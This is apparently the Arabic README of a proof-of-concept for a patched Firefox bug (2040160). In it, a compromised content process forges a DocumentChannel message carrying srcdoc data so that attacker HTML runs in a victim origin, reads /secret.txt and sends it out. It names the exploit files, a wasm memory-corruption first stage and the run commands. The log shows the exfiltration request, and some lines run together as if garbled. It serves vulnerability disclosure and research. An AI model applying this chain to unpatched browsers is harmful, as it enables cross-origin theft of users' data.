
Firefox content->parent srcdoc تزوير (N-day، bug 2040160): قناة PDocumentChannel مزورة مع بيانات SrcdocData على URI غير about:srcdoc -> HTML المهاجم يُقدَّم في أصل الضحية (UXSS)، عبر حقن مسار إرسال mojo-port من عملية محتوى مخترقة
إثبات المفهوم: عملية محتوى مخترقة تزوّر تحميل PDocumentChannel يحمل nsDocShellLoadState مع SrcdocData مع URI عشوائي. الإصدارات المعرّبة للثغرة تخدم HTML المهاجم كمستند على أصل الضحية — قراءة من نفس الأصل + تسريب (UXSS).
الهدف: Firefox 149.0a1 الليلي @ 2fbc0748c4 (معرّب للثغرة، قبل الإصلاح)، macOS arm64.
أُصلح في Firefox 152 — الخطأ 2040160، الالتزام 54dc16d08771 "رفض بيانات srcdoc على تحميلات URI غير about:srcdoc".
تقوم العملية الأم بإلغاء تسلسل nsDocShellLoadState من رسائل IPDL من المحتوى إلى الأم. المُنشئ المعرّب للثغرة رفض فقط javascript: للتحميلات الناتجة عن المحتوى؛ لم يتم التحقق من . عندما يحمل حالة التحميل بيانات srcdoc مع URI ليس ، يبني docshell قناة دفق إدخال تخدم HTML srcdoc — ويحصل المستند الناتج على أصل الـ URI.
SrcdocDataabout:srcdocيضيف الإصلاح FatalError في مُنشئ IPDL الخاص بـ nsDocShellLoadState عندما يكون !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI)، بالإضافة إلى تأكيدات تقوية في nsDocShell و Document::StartDocumentLoad.
ثغرة شقيقة: CVE-2026-74939 (RemoteTypeOverride) — نفس المُنشئ، نفس رسالة الناقل، نفس آلية التسليم (انظر ../poc-cve-2026-74939). يعيد إثبات المفهوم هذا استخدام ذلك التزوير مع حقل مختلف مقلوب؛ لا حاجة إلى RemoteTypeOverride.
srcdoc.html على http://127.0.0.1:8778 (الأصل A، مخترق عبر بدائيات wasm من المرحلة الأولى في wasm-bytes.js).PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html (الأصل B)، SrcdocData = <HTML المهاجم>, BrowsingContext من المستوى الأعلى لنافذة منبثقة about:blank في نفس العملية — تُسلَّم عبر مسار إرسال mojo الحقيقي (operator new → مُنشئ IPC::Message → Pickle::WriteBytes → MessageChannel::Send).webIsolated=http://localhost، ويخدم docshell HTML الخاص بنا كمستند على الأصل B./secret.txt (نفس الأصل على B — جلب عبر الأصل من A سيكون محظورًا بـ CORS) ويُسرّبه إلى A.الدليل (/tmp/srv.log بعد ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| الملف | الغرض |
|---|---|
srcdoc.html | صفحة إثبات المفهوم، تُشغَّل داخل عملية المحتوى المخترقة |
forge.py | يبني الرسالة المزوّرة (ذاتية التحقق) → forge.bin/forge.json |
wasm-bytes.js | بدائيات المرحلة الأولى: قراءة/كتابة عشوائية، استدعاءات funcref (CVE-2026-2796) |
mdrive2.py | أداة marionette لإطلاق وتشغيل Nightly |
irun | تشغيل مُجهَّز: lldb يلتصق بالعملية الأم + أدلة MOZ_LOG/srv.log |
profile.user.js | تفضيلات ملف تعريف Firefox (fission مفعّل، التفريغ ممكّن) |
parse_dc.py | محلل دقيق بالبايت لرسائل DocumentChannel الملتقطة |
captured-messages/dc_1.bin | رسالة ملتقطة حقيقية، تُستخدم كقالب للتزوير |
nav.html, secret.txt | تجهيزة صفحة الضحية + السر للعرض التوضيحي |
المتطلبات الأساسية: بناء Nightly معرّب للثغرة على /Users/sid/gecko-2766/obj-browser، و.venv مع psutil، وخادم ويب على 0.0.0.0:8778 يخدم هذا الدليل (مثل python3 /tmp/srv.py، مع تسجيل إلى /tmp/srv.log).
python3 forge.py # بناء forge.bin/forge.json (ذاتي التحقق)
./irun # إطلاق + حقن + جمع الأدلة
ملاحظة: قد تتعرض عملية المحتوى لـ SIGSEGV عند الإنهاء بعد الإرسال (GC فوق الكائنات المزوّرة)؛ تُصدر جميع الأدلة قبل ذلك.
54dc16d08771 (MFSA 2026-57، Firefox 152)RemoteTypeOverride)